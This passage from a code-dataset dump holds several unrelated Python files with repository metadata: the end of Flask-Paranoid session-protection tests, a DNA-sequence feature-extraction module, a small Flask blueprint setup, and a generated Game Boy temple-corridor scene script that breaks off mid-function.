self.assertIn(self._delete_cookie('session'), rv.headers.getlist('Set-Cookie')) self.assertNotIn(self._delete_cookie('remember_token'), rv.headers.getlist('Set-Cookie')) def test_redirect_view(self): app = Flask(__name__) app.config['SECRET_KEY'] = 'foo' paranoid = Paranoid(app) paranoid.redirect_view = 'custom_redirect' @app.route('/') def index(): return 'foobar' @app.route('/redirect') def custom_redirect(): return 'foo' client = app.test_client(use_cookies=True) self.assertEqual(paranoid.redirect_view, 'custom_redirect') rv = client.get('/', headers={'User-Agent': 'foo'}) self.assertEqual(rv.status_code, 200) rv = client.get('/', headers={'User-Agent': 'bar'}) self.assertEqual(rv.status_code, 302) self.assertEqual(rv.headers['Location'], 'http://localhost/redirect') self.assertIn(self._delete_cookie('session'), rv.headers.getlist('Set-Cookie')) self.assertNotIn(self._delete_cookie('remember_token'), rv.headers.getlist('Set-Cookie')) def test_callback(self): app = Flask(__name__) app.config['SECRET_KEY'] = 'foo' paranoid = Paranoid() paranoid.init_app(app) paranoid.redirect_view = 'custom_redirect' @app.route('/') def index(): return 'foobar' @paranoid.on_invalid_session def custom_callback(): return 'foo' client = app.test_client(use_cookies=True) self.assertEqual(paranoid.redirect_view, custom_callback) rv = client.get('/', headers={'User-Agent': 'foo'}) self.assertEqual(rv.status_code, 200) rv = client.get('/', headers={'User-Agent': 'bar'}) self.assertEqual(rv.status_code, 200) self.assertEqual(rv.get_data(as_text=True), 'foo') self.assertIn(self._delete_cookie('session'), rv.headers.getlist('Set-Cookie')) self.assertNotIn(self._delete_cookie('remember_token'), rv.headers.getlist('Set-Cookie')) def test_flask_login(self): app = Flask(__name__) app.config['SECRET_KEY'] = 'foo' paranoid = Paranoid(app) paranoid.redirect_view = 'https://foo.com/foobarbaz' @app.route('/') def index(): return 'foobar' client = app.test_client(use_cookies=True) sys.modules['flask_login'] = 'foo' self.assertEqual(paranoid.redirect_view, 'https://foo.com/foobarbaz') rv = client.get('/', headers={'User-Agent': 'foo'}) self.assertEqual(rv.status_code, 200) rv = client.get('/', headers={'User-Agent': 'bar'}) del sys.modules['flask_login'] self.assertEqual(rv.status_code, 302) self.assertEqual(rv.headers['Location'], 'https://foo.com/foobarbaz') self.assertIn(self._delete_cookie('session'), rv.headers.getlist('Set-Cookie')) self.assertIn(self._delete_cookie('remember_token'), rv.headers.getlist('Set-Cookie'))

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null

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7

0012575d9bbe988f5351e20be5536fe0832776eb

207

py

Python

trainer/__init__.py

weigq/UDA-1

4f97980980cafd0a2d02a77211ac7dbaf3e331f6

[ "MIT" ]

32

2021-11-08T15:45:30.000Z

2022-03-30T09:08:57.000Z

trainer/__init__.py

weigq/UDA-1

4f97980980cafd0a2d02a77211ac7dbaf3e331f6

[ "MIT" ]

3

2021-11-16T02:38:51.000Z

2022-02-21T13:29:58.000Z

trainer/__init__.py

weigq/UDA-1

4f97980980cafd0a2d02a77211ac7dbaf3e331f6

[ "MIT" ]

4

2021-11-09T02:53:18.000Z

2021-12-21T22:11:35.000Z

29.571429

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7

0053dee75a18d059d69cf70dba94554a9fae7013

22,593

py

Python

MvLapKSRC_HSIC-master/construct_features.py

guofei-tju/MvLapKSRC_HSIC

dc9e6d54b834cee5ef9a088f71eb506307672902

[ "MIT" ]

null

MvLapKSRC_HSIC-master/construct_features.py

guofei-tju/MvLapKSRC_HSIC

dc9e6d54b834cee5ef9a088f71eb506307672902

[ "MIT" ]

null

MvLapKSRC_HSIC-master/construct_features.py

guofei-tju/MvLapKSRC_HSIC

dc9e6d54b834cee5ef9a088f71eb506307672902

[ "MIT" ]

null

import itertools import numpy as np import pandas as pd def F_score(v, y_label): x_0 = 0 x_1 = 0 v_pos = v[y_label > 0] v_neg = v[y_label <= 0] v_ave = np.mean(v) v_pos_ave = np.mean(v_pos) v_neg_ave = np.mean(v_neg) len_pos = len(v_pos) len_neg = len(v_neg) for i in range(len_pos): x_0 += (v_pos[i] - v_pos_ave) ** 2 for j in range(len_neg): x_1 += (v_neg[i] - v_neg_ave) ** 2 f_score = ((v_pos_ave - v_ave) ** 2 + (v_neg_ave - v_ave) ** 2) / ( (1 / (len_pos - 1)) * x_0 + (1 / (len_neg - 1)) * x_1) return f_score def make_kmer_list(k, alphabet): try: return ["".join(e) for e in itertools.product(alphabet, repeat=k)] except TypeError: print("TypeError: k must be an inter and larger than 0, alphabet must be a string.") raise TypeError except ValueError: print("TypeError: k must be an inter and larger than 0") raise ValueError def kmer(data_seq, k): # calculate the k-mer feature of a seq RNA_code = 'ACGT' code_values = make_kmer_list(3, RNA_code) count = np.zeros((len(data_seq), len(code_values))) for i, line_value in enumerate(data_seq.values): # for every samples for j, code_value in enumerate(line_value[0]): # for every position if j <= len(line_value[0]) - k + 1: for p, c_value in enumerate(code_values): if c_value == line_value[0][j:j + k]: count[i][p] += 1 count /= len(code_values) - k + 1 return count def MvPS3merNP(all_positive_seq, all_negative_seq, train_samples, test_sample, interval): RNA_code = 'ACGT' all_final_seq_value_tra = [] all_final_seq_value_tes = [] for train_sample in train_samples: # calculate Z matrix positive_seq = all_positive_seq[train_sample] negative_seq = all_negative_seq[train_sample] len_seq = len(positive_seq[0]) positive_df = pd.DataFrame(positive_seq) positive_x_train = positive_df.iloc[:, :] negative_df = pd.DataFrame(negative_seq) negative_x_train = negative_df.iloc[:, :] code_values = make_kmer_list(interval, RNA_code) code_len = len(code_values) positive_seq_value = [[0 for jj in range(len_seq - interval + 1)] for ii in range(code_len)] negative_seq_value = [[0 for jj in range(len_seq - interval + 1)] for ii in range(code_len)] for i, line_value in enumerate(positive_x_train.values): for j, code_value in enumerate(line_value[0]): if j <= len(line_value[0]) - interval + 1: for p, c_value in enumerate(code_values): if c_value == line_value[0][j:j + interval]: positive_seq_value[p][j] += 1 positive_seq_value = np.matrix(positive_seq_value) * 1.0 / (len(positive_seq)) for i, line_value in enumerate(negative_x_train.values): for j, code_value in enumerate(line_value[0]): if j <= len(line_value[0]) - interval + 1: for p, c_value in enumerate(code_values): if c_value == line_value[0][j:j + interval]: negative_seq_value[p][j] += 1 negative_seq_value = np.matrix(negative_seq_value) * 1.0 / (len(negative_seq)) tes_final_value = [] tra_final_value = [] # training features for train_sample_x in train_samples: tra_positive_seq = all_positive_seq[train_sample_x] tra_negative_seq = all_negative_seq[train_sample_x] tra_positive_df = pd.DataFrame(tra_positive_seq) tra_negative_df = pd.DataFrame(tra_negative_seq) tra_positive_train = tra_positive_df.iloc[:, :] tra_negative_train = tra_negative_df.iloc[:, :] tra_positive_negative_train = pd.concat([tra_positive_train, tra_negative_train], axis=0) tra_final_seq_value = [[0 for ii in range(len_seq - interval + 1)] for jj in range(len(tra_positive_negative_train))] for i, line_value in enumerate(tra_positive_negative_train.values): for j, code_value in enumerate(line_value[0]): if j <= len(line_value[0]) - interval + 1: for p, c_value in enumerate(code_values): if c_value == line_value[0][j:j + interval]: tra_final_seq_value[i][j] = positive_seq_value[p, j] - negative_seq_value[p, j] tra_final_value.append(tra_final_seq_value) tes_positive_seq = all_positive_seq[test_sample] tes_negative_seq = all_negative_seq[test_sample] tes_positive_df = pd.DataFrame(tes_positive_seq) tes_negative_df = pd.DataFrame(tes_negative_seq) tes_positive_train = tes_positive_df.iloc[:, :] tes_negative_train = tes_negative_df.iloc[:, :] tes_positive_negative_train = pd.concat([tes_positive_train, tes_negative_train], axis=0) tes_final_seq_value = [[0 for ii in range(len_seq - interval + 1)] for jj in range(len(tes_positive_negative_train))] for i, line_value in enumerate(tes_positive_negative_train.values): for j, code_value in enumerate(line_value[0]): if j <= len(line_value[0]) - interval + 1: for p, c_value in enumerate(code_values): if c_value == line_value[0][j:j + interval]: tes_final_seq_value[i][j] = positive_seq_value[p, j] - negative_seq_value[p, j] tes_final_value.append(tes_final_seq_value) all_final_seq_value_tra.append(np.concatenate(tra_final_value)) all_final_seq_value_tes.append(np.concatenate(tes_final_value)) X_train = np.array(all_final_seq_value_tra) X_test = np.array(all_final_seq_value_tes) return X_train, X_test def MvPS3merNP_KL(all_positive_seq, all_negative_seq, train_samples, test_sample, interval): RNA_code = 'ACGT' all_final_seq_value_tra = [] all_final_seq_value_tes = [] for train_sample in train_samples: # calculate Z matrix positive_seq = all_positive_seq[train_sample] negative_seq = all_negative_seq[train_sample] len_seq = len(positive_seq[0]) positive_df = pd.DataFrame(positive_seq) positive_x_train = positive_df.iloc[:, :] negative_df = pd.DataFrame(negative_seq) negative_x_train = negative_df.iloc[:, :] code_values = make_kmer_list(interval, RNA_code) code_len = len(code_values) positive_seq_value = [[0 for jj in range(len_seq - interval + 1)] for ii in range(code_len)] negative_seq_value = [[0 for jj in range(len_seq - interval + 1)] for ii in range(code_len)] for i, line_value in enumerate(positive_x_train.values): for j, code_value in enumerate(line_value[0]): if j <= len(line_value[0]) - interval + 1: for p, c_value in enumerate(code_values): if c_value == line_value[0][j:j + interval]: positive_seq_value[p][j] += 1 positive_seq_value = np.matrix(positive_seq_value) * 1.0 / (len(positive_seq)) for i, line_value in enumerate(negative_x_train.values): for j, code_value in enumerate(line_value[0]): if j <= len(line_value[0]) - interval + 1: for p, c_value in enumerate(code_values): if c_value == line_value[0][j:j + interval]: negative_seq_value[p][j] += 1 negative_seq_value = np.matrix(negative_seq_value) * 1.0 / (len(negative_seq)) positive_seq_value[positive_seq_value <= 0] = 1e-09 positive_seq_value_log = np.log(positive_seq_value) # positive_seq_value_log[np.isinf(positive_seq_value_log)] = -10 negative_seq_value[negative_seq_value <= 0] = 1e-09 negative_seq_value_log = np.log(negative_seq_value) # negative_seq_value_log[np.isinf(negative_seq_value_log)] = -10 Z = np.multiply(positive_seq_value, (positive_seq_value_log - negative_seq_value_log)) tes_final_value = [] tra_final_value = [] # training features for train_sample_x in train_samples: tra_positive_seq = all_positive_seq[train_sample_x] tra_negative_seq = all_negative_seq[train_sample_x] tra_positive_df = pd.DataFrame(tra_positive_seq) tra_negative_df = pd.DataFrame(tra_negative_seq) tra_positive_train = tra_positive_df.iloc[:, :] tra_negative_train = tra_negative_df.iloc[:, :] tra_positive_negative_train = pd.concat([tra_positive_train, tra_negative_train], axis=0) tra_final_seq_value = [[0 for ii in range(len_seq - interval + 1)] for jj in range(len(tra_positive_negative_train))] for i, line_value in enumerate(tra_positive_negative_train.values): for j, code_value in enumerate(line_value[0]): if j <= len(line_value[0]) - interval + 1: for p, c_value in enumerate(code_values): if c_value == line_value[0][j:j + interval]: tra_final_seq_value[i][j] = Z[p, j] tra_final_value.append(tra_final_seq_value) tes_positive_seq = all_positive_seq[test_sample] tes_negative_seq = all_negative_seq[test_sample] tes_positive_df = pd.DataFrame(tes_positive_seq) tes_negative_df = pd.DataFrame(tes_negative_seq) tes_positive_train = tes_positive_df.iloc[:, :] tes_negative_train = tes_negative_df.iloc[:, :] tes_positive_negative_train = pd.concat([tes_positive_train, tes_negative_train], axis=0) tes_final_seq_value = [[0 for ii in range(len_seq - interval + 1)] for jj in range(len(tes_positive_negative_train))] for i, line_value in enumerate(tes_positive_negative_train.values): for j, code_value in enumerate(line_value[0]): if j <= len(line_value[0]) - interval + 1: for p, c_value in enumerate(code_values): if c_value == line_value[0][j:j + interval]: tes_final_seq_value[i][j] = Z[p, j] tes_final_value.append(tes_final_seq_value) all_final_seq_value_tra.append(np.concatenate(tra_final_value)) all_final_seq_value_tes.append(np.concatenate(tes_final_value)) X_train = np.array(all_final_seq_value_tra) X_test = np.array(all_final_seq_value_tes) return X_train, X_test def MvPS3merNP_JS(all_positive_seq, all_negative_seq, train_samples, test_sample, interval): RNA_code = 'ACGT' all_final_seq_value_tra = [] all_final_seq_value_tes = [] for train_sample in train_samples: # calculate Z matrix positive_seq = all_positive_seq[train_sample] negative_seq = all_negative_seq[train_sample] len_seq = len(positive_seq[0]) positive_df = pd.DataFrame(positive_seq) positive_x_train = positive_df.iloc[:, :] negative_df = pd.DataFrame(negative_seq) negative_x_train = negative_df.iloc[:, :] code_values = make_kmer_list(interval, RNA_code) code_len = len(code_values) positive_seq_value = [[0 for jj in range(len_seq - interval + 1)] for ii in range(code_len)] negative_seq_value = [[0 for jj in range(len_seq - interval + 1)] for ii in range(code_len)] for i, line_value in enumerate(positive_x_train.values): for j, code_value in enumerate(line_value[0]): if j <= len(line_value[0]) - interval + 1: for p, c_value in enumerate(code_values): if c_value == line_value[0][j:j + interval]: positive_seq_value[p][j] += 1 positive_seq_value = np.matrix(positive_seq_value) * 1.0 / (len(positive_seq)) for i, line_value in enumerate(negative_x_train.values): for j, code_value in enumerate(line_value[0]): if j <= len(line_value[0]) - interval + 1: for p, c_value in enumerate(code_values): if c_value == line_value[0][j:j + interval]: negative_seq_value[p][j] += 1 negative_seq_value = np.matrix(negative_seq_value) * 1.0 / (len(negative_seq)) positive_seq_value[positive_seq_value <= 0] = 1e-09 positive_seq_value_log = np.log(positive_seq_value) # positive_seq_value_log[np.isinf(positive_seq_value_log)] = -10 negative_seq_value[negative_seq_value <= 0] = 1e-09 negative_seq_value_log = np.log(negative_seq_value) # negative_seq_value_log[np.isinf(negative_seq_value_log)] = -10 seq_value_log = np.log((positive_seq_value + negative_seq_value) / 2) Z = 1 / 2 * np.multiply(positive_seq_value, (positive_seq_value_log - seq_value_log)) + 1 / 2 * np.multiply( negative_seq_value, (negative_seq_value_log - seq_value_log)) tes_final_value = [] tra_final_value = [] # training features for train_sample_x in train_samples: tra_positive_seq = all_positive_seq[train_sample_x] tra_negative_seq = all_negative_seq[train_sample_x] tra_positive_df = pd.DataFrame(tra_positive_seq) tra_negative_df = pd.DataFrame(tra_negative_seq) tra_positive_train = tra_positive_df.iloc[:, :] tra_negative_train = tra_negative_df.iloc[:, :] tra_positive_negative_train = pd.concat([tra_positive_train, tra_negative_train], axis=0) tra_final_seq_value = [[0 for ii in range(len_seq - interval + 1)] for jj in range(len(tra_positive_negative_train))] for i, line_value in enumerate(tra_positive_negative_train.values): for j, code_value in enumerate(line_value[0]): if j <= len(line_value[0]) - interval + 1: for p, c_value in enumerate(code_values): if c_value == line_value[0][j:j + interval]: tra_final_seq_value[i][j] = Z[p, j] tra_final_value.append(tra_final_seq_value) tes_positive_seq = all_positive_seq[test_sample] tes_negative_seq = all_negative_seq[test_sample] tes_positive_df = pd.DataFrame(tes_positive_seq) tes_negative_df = pd.DataFrame(tes_negative_seq) tes_positive_train = tes_positive_df.iloc[:, :] tes_negative_train = tes_negative_df.iloc[:, :] tes_positive_negative_train = pd.concat([tes_positive_train, tes_negative_train], axis=0) tes_final_seq_value = [[0 for ii in range(len_seq - interval + 1)] for jj in range(len(tes_positive_negative_train))] for i, line_value in enumerate(tes_positive_negative_train.values): for j, code_value in enumerate(line_value[0]): if j <= len(line_value[0]) - interval + 1: for p, c_value in enumerate(code_values): if c_value == line_value[0][j:j + interval]: tes_final_seq_value[i][j] = Z[p, j] tes_final_value.append(tes_final_seq_value) all_final_seq_value_tra.append(np.concatenate(tra_final_value)) all_final_seq_value_tes.append(np.concatenate(tes_final_value)) X_train = np.array(all_final_seq_value_tra) X_test = np.array(all_final_seq_value_tes) return X_train, X_test def PRO12(all_positive_seq, all_negative_seq, train_sample): RNA_code = 'ACGT' Z = {'AA': [0.85, 0.85, -0.22, -0.96, -0.73, -0.62, -0.09, 0.68, -1, 1, 0.36, 0.23], 'AC': [-1, -1, -0.6, -0.45, -0.27, 0.37, -0.64, 0.37, 0.05, 0.56, -0.48, 0.50], 'AG': [-0.56, -0.56, -1.00, 0.45, -0.27, -0.18, -0.36, 0.37, -0.12, -0.10, -0.39, 0.04], 'AT': [-0.01, -0.01, 1.00, -1.00, -1.00, -0.48, -1.00, 1.00, -0.31, -0.90, -1.00, 1.00], 'CA': [1.00, 1.00, 0.13, 1.00, -0.27, -0.65, -0.09, 0.16, 0.75, -0.14, 0.88, -0.77], 'CC': [-0.87, -0.87, -0.25, 0.81, 1.00, 0.15, 1.00, -0.47, 1.00, -0.75, -0.15, -0.35], 'CG': [-0.14, -0.14, -0.89, 0.80, 0.18, -0.10, 1.45, -1.00, 0.64, -0.45, 0.60, -1.00], 'CT': [-0.56, -0.56, -1.00, -0.29, -0.27, -0.18, -0.36, 0.37, -0.12, -1.00, -0.39, 0.04], 'GA': [0.87, 0.87, 0.43, 1.24, -0.27, -0.30, -0.36, 0.37, -0.02, 0.87, 0.65, 0.04], 'GC': [0.32, 0.32, 0.24, 1.17, 0.18, 1.00, 1.00, -0.47, 0.44, -0.54, 0.01, 0.27], 'GG': [-0.87, -0.87, -0.25, 0.63, 1.00, 0.15, 1.00, -0.47, 1.00, -0.14, -0.15, -0.35], 'GT': [-1.00, -1.00, -0.60, -0.29, -0.27, 0.37, -0.64, 0.37, 0.05, -0.90, -0.48, 0.50], 'TA': [0.32, 0.32, -0.84, 2.37, -1.00, -1.00, -0.45, 1.00, 0.29, -0.87, 1.00, -0.31], 'TC': [0.87, 0.87, 0.43, 0.24, -0.27, -0.30, -0.36, 0.37, -0.02, -0.45, 0.65, 0.04], 'TG': [1.00, 1.00, 0.13, 2.02, -0.27, -0.65, -0.09, 0.16, 0.75, 0.56, 0.88, -0.77], 'TT': [0.85, 0.85, -0.22, -1.00, -0.73, -0.62, -0.09, 0.68, -1.00, -0.77, 0.36, 0.23]} code_values = make_kmer_list(2, RNA_code) positive_seq = all_positive_seq[train_sample] negative_seq = all_negative_seq[train_sample] len_seq = len(positive_seq[0]) positive_df = pd.DataFrame(positive_seq) positive_x_train = positive_df.iloc[:, :] negative_df = pd.DataFrame(negative_seq) negative_x_train = negative_df.iloc[:, :] positive_negative_train = pd.concat([positive_x_train, negative_x_train], axis=0) tra_final_seq_value = [[0 for ii in range(12 * (len_seq - 1))] for jj in range(len(positive_negative_train))] for i, line_value in enumerate(positive_negative_train.values): # for every samples for j, code_value in enumerate(line_value[0]): # for every position if j <= len(line_value[0]) - 2 + 1: for p, c_value in enumerate(code_values): if c_value == line_value[0][j:j + 2]: tra_final_seq_value[i][(12 * j):(12 * (j + 1))] = np.array(Z[c_value]) tra_final_seq_value = np.array(tra_final_seq_value) return tra_final_seq_value def ratio(all_positive_seq, all_negative_seq, train_sample): # calculate the GC content, GC skew,AT skew ,AT/GC ratio positive_seq = all_positive_seq[train_sample] negative_seq = all_negative_seq[train_sample] positive_df = pd.DataFrame(positive_seq) positive_x_train = positive_df.iloc[:, :] negative_df = pd.DataFrame(negative_seq) negative_x_train = negative_df.iloc[:, :] positive_negative_train = pd.concat([positive_x_train, negative_x_train], axis=0) tra_final_seq_value = np.zeros((len(positive_negative_train), 4)) for i, line_value in enumerate(positive_negative_train.values): # for every samples A_count = line_value[0].count('A') C_count = line_value[0].count('C') G_count = line_value[0].count('G') T_count = line_value[0].count('T') tra_final_seq_value[i][0] = (C_count + G_count) / len(positive_negative_train) tra_final_seq_value[i][1] = (C_count - G_count) / (C_count + G_count) tra_final_seq_value[i][2] = (A_count - T_count) / (A_count + T_count) tra_final_seq_value[i][3] = (A_count + T_count) / (C_count + G_count) return tra_final_seq_value def ChemicalProperty(all_positive_seq, all_negative_seq, train_sample): RNA_code = 'ACGT' X = {'A': [1, 1, 1], 'C': [0, 1, 0], 'G': [1, 0, 0], 'T': [0, 0, 1]} positive_seq = all_positive_seq[train_sample] negative_seq = all_negative_seq[train_sample] len_seq = len(positive_seq[0]) positive_df = pd.DataFrame(positive_seq) positive_x_train = positive_df.iloc[:, :] negative_df = pd.DataFrame(negative_seq) negative_x_train = negative_df.iloc[:, :] positive_negative_train = pd.concat([positive_x_train, negative_x_train], axis=0) code_values = make_kmer_list(1, RNA_code) tra_final_seq_value = [[0 for ii in range(4 * (len_seq))] for jj in range(len(positive_negative_train))] for i, line_value in enumerate(positive_negative_train.values): # for every samples for j, code_value in enumerate(line_value[0]): if j <= len(line_value[0]) - 1 + 1: for p, c_value in enumerate(code_values): if c_value == line_value[0][j:j + 1]: X_c_value = X[c_value] + [(line_value[0][:j + 1].count(c_value)) / (j + 1)] tra_final_seq_value[i][(4 * j):(4 * (j + 1))] = X_c_value tra_final_seq_value = np.array(tra_final_seq_value) return tra_final_seq_value def PseEiip(all_positive_seq, all_negative_seq, train_sample): RNA_code = 'ACGT' ea = 0.126 et = 0.1335 eg = 0.0806 ec = 0.134 eACGT = {'A': ea, 'C': et, 'G': eg, 'T': ec} code_values = make_kmer_list(3, RNA_code) emer = np.zeros((1, len(code_values))) positive_seq = all_positive_seq[train_sample] negative_seq = all_negative_seq[train_sample] len_seq = len(positive_seq[0]) positive_df = pd.DataFrame(positive_seq) positive_x_train = positive_df.iloc[:, :] negative_df = pd.DataFrame(negative_seq) negative_x_train = negative_df.iloc[:, :] positive_negative_train = pd.concat([positive_x_train, negative_x_train], axis=0) for i, code_value in enumerate(code_values): emer[0][i] = eACGT[code_value[0]] + eACGT[code_value[1]] + eACGT[code_value[2]] EMER = np.ones((len(positive_negative_train), 1)).dot(emer) F = kmer(positive_negative_train, 3) A = F * EMER return A

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7

cc36c05e9d3f1f4b8edbae327901dfb07ee206e6

182

py

Python

ndopapp/yourdetails/__init__.py

nhsconnect/ndop-nojs

ad049db27650e850742a3bd466f96d36a3420589

[ "MIT" ]

null

ndopapp/yourdetails/__init__.py

nhsconnect/ndop-nojs

ad049db27650e850742a3bd466f96d36a3420589

[ "MIT" ]

null

ndopapp/yourdetails/__init__.py

nhsconnect/ndop-nojs

ad049db27650e850742a3bd466f96d36a3420589

[ "MIT" ]

2

2019-04-11T14:21:33.000Z

2021-04-11T07:29:43.000Z

def create_module(app, **kwargs): from .controllers import yourdetails_blueprint app.register_blueprint(yourdetails_blueprint, url_prefix=app.config.get("URL_PREFIX"))

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0

7

cc59e71cba549332904e8e96850e46c46a2a0299

25,419

py

Python

rom_generator/scenes/imported/TempleCorridor.py

ikarth/game-boy-rom-generator

29576a4bbe87a0032f80967d4b740059a65ea5c9

[ "MIT" ]

3

2021-08-07T03:38:02.000Z

2021-09-17T14:33:27.000Z

rom_generator/scenes/imported/TempleCorridor.py

ikarth/game-boy-rom-generator

29576a4bbe87a0032f80967d4b740059a65ea5c9

[ "MIT" ]

null

rom_generator/scenes/imported/TempleCorridor.py

ikarth/game-boy-rom-generator

29576a4bbe87a0032f80967d4b740059a65ea5c9

[ "MIT" ]

null

# Generated Scene Functions # TempleCorridor.py from rom_generator import generator from rom_generator import script_functions as script test_generation_destination_path = "../gbprojects/generated_export_test_TempleCorridor/" def scene_generation(): sprite_sheet_data = [ generator.makeSpriteSheet('actor.png', name='actor', type='actor', frames=3), generator.makeSpriteSheet('actor_animated.png', name='actor_animated', type='actor_animated', frames=6), generator.makeSpriteSheet('static.png', name='static', type='static', frames=1)] def findSpriteByName(sprite_name): ''' Returns first sprite that matches the name given. ''' try: return [s for s in sprite_sheet_data if (s['name'] == sprite_name)][0] except: return None def getBySceneLabel(scene_label): ''' This is mostly here so we can get the matching scene from the original template data. As used here it just grabs the first scene that was made from that template, so if the template is used more than once it won't behave as expected and you should generate a proper relationship instad. ''' s_id = generator.getSceneIdByLabel(scene_label) if s_id == None: return '<♔' + scene_label + '♔>' return s_id def scene_gen_temple_corridor_01_00001(callback): actor_name_table = {} actor_list = [] trigger_00 = generator.makeTrigger('trigger_00', 10, 4, 10, 1) trigger_01 = generator.makeTrigger('trigger_01', 0, 14, 1, 4) trigger_02 = generator.makeTrigger('trigger_02', 29, 16, 1, 2) trigger_03 = generator.makeTrigger('trigger_03', 4, 0, 2, 1) trigger_04 = generator.makeTrigger('trigger_04', 23, 0, 3, 1) trigger_list = [] collision_data_list = [207, 255, 127, 252, 195, 255, 15, 31, 240, 255, 3, 7, 252, 255, 192, 1, 51, 51, 112, 192, 204, 12, 28, 48, 51, 3, 7, 204, 204, 192, 1, 0, 0, 112, 0, 0, 0, 28, 0, 0, 0, 7, 0, 0, 192, 1, 0, 0, 112, 0, 0, 0, 12, 0, 0, 0, 3, 0, 0, 192, 0, 0, 0, 0, 0, 0, 0, 0] gen_scene_bkg = generator.makeBackground("corridors_01.png") gen_scene_scn = generator.makeScene("_gen_temple_corridor_01", gen_scene_bkg, collisions=collision_data_list, actors=actor_list, triggers=trigger_list, scene_label="scene_gen_temple_corridor_01_00001") def addConnection_00(source_location, source_size, destination_scene_id, destination_location, destination_direction): trigger_00 = generator.makeTrigger('trigger_connection', source_location[0], source_location[1], source_size[0], source_size[1]) trigger_00['script'] = [ script.switchScene(sceneId=destination_scene_id, x=destination_location[0], y=destination_location[1], direction=destination_direction, fadeSpeed='2'), script.end() ] return trigger_00 connection_00 = {'type': 'SLOT_CONNECTION', 'creator': addConnection_00, 'args': { 'exit_location': (14, 5), 'exit_direction': 'down', 'entrance': gen_scene_scn['id'], 'entrance_location': (10, 4), 'entrance_size': (10, 1) }, 'tags': ['B'] } def addConnection_01(source_location, source_size, destination_scene_id, destination_location, destination_direction): trigger_01 = generator.makeTrigger('trigger_connection', source_location[0], source_location[1], source_size[0], source_size[1]) trigger_01['script'] = [ script.switchScene(sceneId=destination_scene_id, x=destination_location[0], y=destination_location[1], direction=destination_direction, fadeSpeed='2'), script.end() ] return trigger_01 connection_01 = {'type': 'SLOT_CONNECTION', 'creator': addConnection_01, 'args': { 'exit_location': (1, 16), 'exit_direction': 'right', 'entrance': gen_scene_scn['id'], 'entrance_location': (0, 14), 'entrance_size': (1, 4) }, 'tags': ['B'] } def addConnection_02(source_location, source_size, destination_scene_id, destination_location, destination_direction): trigger_02 = generator.makeTrigger('trigger_connection', source_location[0], source_location[1], source_size[0], source_size[1]) trigger_02['script'] = [ script.switchScene(sceneId=destination_scene_id, x=destination_location[0], y=destination_location[1], direction=destination_direction, fadeSpeed='2'), script.end() ] return trigger_02 connection_02 = {'type': 'SLOT_CONNECTION', 'creator': addConnection_02, 'args': { 'exit_location': (27, 17), 'exit_direction': 'left', 'entrance': gen_scene_scn['id'], 'entrance_location': (29, 16), 'entrance_size': (1, 2) }, 'tags': ['B'] } def addConnection_03(source_location, source_size, destination_scene_id, destination_location, destination_direction): trigger_03 = generator.makeTrigger('trigger_connection', source_location[0], source_location[1], source_size[0], source_size[1]) trigger_03['script'] = [ script.switchScene(sceneId=destination_scene_id, x=destination_location[0], y=destination_location[1], direction=destination_direction, fadeSpeed='2'), script.end() ] return trigger_03 connection_03 = {'type': 'SLOT_CONNECTION', 'creator': addConnection_03, 'args': { 'exit_location': (4, 1), 'exit_direction': 'down', 'entrance': gen_scene_scn['id'], 'entrance_location': (4, 0), 'entrance_size': (2, 1) }, 'tags': ['B'] } def addConnection_04(source_location, source_size, destination_scene_id, destination_location, destination_direction): trigger_04 = generator.makeTrigger('trigger_connection', source_location[0], source_location[1], source_size[0], source_size[1]) trigger_04['script'] = [ script.switchScene(sceneId=destination_scene_id, x=destination_location[0], y=destination_location[1], direction=destination_direction, fadeSpeed='2'), script.end() ] return trigger_04 connection_04 = {'type': 'SLOT_CONNECTION', 'creator': addConnection_04, 'args': { 'exit_location': (24, 1), 'exit_direction': 'down', 'entrance': gen_scene_scn['id'], 'entrance_location': (23, 0), 'entrance_size': (3, 1) }, 'tags': ['B'] } gen_scene_connections = [connection_00, connection_01, connection_02, connection_03, connection_04] scene_data = {"scene": gen_scene_scn, "background": gen_scene_bkg, "sprites": [], "connections": gen_scene_connections, "references": [], "tags": ["Temple"]} return scene_data def scene_gen_temple_corridor_02_00002(callback): actor_name_table = {} actor_list = [] trigger_00 = generator.makeTrigger('trigger_00', 6, 5, 8, 1) trigger_01 = generator.makeTrigger('trigger_01', 8, 29, 4, 1) trigger_list = [] collision_data_list = [255, 255, 255, 255, 255, 255, 255, 255, 255, 255, 255, 255, 255, 3, 252, 3, 0, 60, 0, 192, 255, 240, 255, 15, 255, 255, 240, 255, 15, 255, 255, 240, 255, 15, 255, 255, 240, 255, 15, 255, 255, 240, 255, 15, 255, 255, 240, 255, 15, 255, 255, 240, 255, 15, 255, 255, 240, 255, 15, 255, 255, 240, 255, 15, 255, 255, 240, 255, 15, 255, 255, 240, 255, 15, 255] gen_scene_bkg = generator.makeBackground("corridors_02.png") gen_scene_scn = generator.makeScene("_gen_temple_corridor_02", gen_scene_bkg, collisions=collision_data_list, actors=actor_list, triggers=trigger_list, scene_label="scene_gen_temple_corridor_02_00002") def addConnection_00(source_location, source_size, destination_scene_id, destination_location, destination_direction): trigger_00 = generator.makeTrigger('trigger_connection', source_location[0], source_location[1], source_size[0], source_size[1]) trigger_00['script'] = [ script.switchScene(sceneId=destination_scene_id, x=destination_location[0], y=destination_location[1], direction=destination_direction, fadeSpeed='2'), script.end() ] return trigger_00 connection_00 = {'type': 'SLOT_CONNECTION', 'creator': addConnection_00, 'args': { 'exit_location': (9, 6), 'exit_direction': 'down', 'entrance': gen_scene_scn['id'], 'entrance_location': (6, 5), 'entrance_size': (8, 1) }, 'tags': ['B'] } def addConnection_01(source_location, source_size, destination_scene_id, destination_location, destination_direction): trigger_01 = generator.makeTrigger('trigger_connection', source_location[0], source_location[1], source_size[0], source_size[1]) trigger_01['script'] = [ script.switchScene(sceneId=destination_scene_id, x=destination_location[0], y=destination_location[1], direction=destination_direction, fadeSpeed='2'), script.end() ] return trigger_01 connection_01 = {'type': 'SLOT_CONNECTION', 'creator': addConnection_01, 'args': { 'exit_location': (9, 28), 'exit_direction': 'up', 'entrance': gen_scene_scn['id'], 'entrance_location': (8, 29), 'entrance_size': (4, 1) }, 'tags': ['B'] } gen_scene_connections = [connection_00, connection_01] scene_data = {"scene": gen_scene_scn, "background": gen_scene_bkg, "sprites": [], "connections": gen_scene_connections, "references": [], "tags": ["Temple"]} return scene_data def scene_gen_temple_corridor_03_00003(callback): actor_name_table = {} actor_list = [] trigger_00 = generator.makeTrigger('trigger_00', 8, 5, 4, 1) trigger_01 = generator.makeTrigger('trigger_01', 0, 18, 1, 4) trigger_02 = generator.makeTrigger('trigger_02', 6, 29, 10, 1) 